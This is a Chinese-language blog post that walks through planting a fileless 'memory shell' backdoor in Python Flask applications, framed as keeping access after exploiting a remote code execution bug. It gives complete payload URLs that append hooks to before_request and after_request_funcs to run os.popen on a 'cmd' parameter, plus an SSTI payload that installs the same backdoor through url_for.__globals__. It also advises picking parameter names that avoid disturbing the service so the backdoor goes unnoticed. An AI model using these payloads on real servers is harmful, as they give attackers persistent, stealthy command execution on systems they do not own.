最近发现了一个Python Flask框架的后台任意代码执行,利用成功以后想要进一步维持权限,所以想要使用Flask的内存马技术。
add_url_rule存在的局限
在网上浏览了很多文章,似乎都是清一色的介绍如何使用add_url_rule
添加路由,但当下的FLask版本似乎已经不再支持在程序运行的过程中通过add_url_rule添加路由了。
测试代码:
@app.route('/e')
def e():
a = eval(request.args.get('cmd'))
if a :
return "1"
else:
return "0"
访问http://127.0.0.1:5000/e?cmd=app.add_url_rule('/shell','shell',lambda :"123")
然而会显示The setup method 'add_url_rule' can no longer be called on the application.
所以,我们只能通过其他方式添加路由来处理我们的请求,这里我们可以尝试使用@app.before_request
before_request
在 Flask 中,before_request
是一个装饰器,它用于在请求处理之前执行特定的函数。这个装饰器允许对每个请求进行一些预处理,比如认证检查、日志记录、设置响应头等。
通过底层源码可以看到before_request
实际上调用的是self.before_request_funcs.setdefault(None, []).append(f)
,其意思是:
- 检查
self.before_request_funcs
字典中是否有一个键为None
的条目。 - 如果没有
None
键,就在字典中创建它,并将其值设置为一个空列表。 - 然后,无论
None
键是否存在,都将函数f
添加到这个列表中。
这个函数f就是我们要添加的函数。
当访问http://127.0.0.1:5000/e?cmd=app.before_request_funcs.setdefault(None, []).append(lambda: "123")
后,后续所有的访问结果都将变成123
可见通过before_request
添加内存马这一条路是可行的,但同样会有一点问题,就是使用lambda必然会得到一个返回值,那么服务后续的操作都无法进行,会影响到主机的正常业务。
after_request
针对这个问题,我们可以使用@app.after_request
来解决,与@app.before_request
类似,after_request
会在请求结束得到响应包之后进行操作,查看底层源码可以看到其调用方法和before_request
类似
self.after_request_funcs.setdefault(None, []).append(f)
传入的f就是对应的自定义函数,但这里的f需要接收一个response对象,同时返回一个response对象。
但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response。
访问对应的url为http://127.0.0.1:5000/e?cmd=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)
函数的内容为:
lambda resp: #传入参数
CmdResp if request.args.get('cmd') and #如果请求参数含有cmd则返回命令执行结果
exec('
global CmdResp; #定义一个全局变量,方便获取
CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) #创建一个响应对象
')==None #恒真
else resp) #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务
ssti利用
如果存在ssti,例如
@app.route('/')
def home():
person = 'guest'
if request.args.get('name'):
person = request.args.get('name')
template = '<h2>Helo %s!</h2>' % person
return render_template_string(template)
考虑到没有导包的情况,完整的url为:
http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
此时会发现成功打上了一个内存马
参考: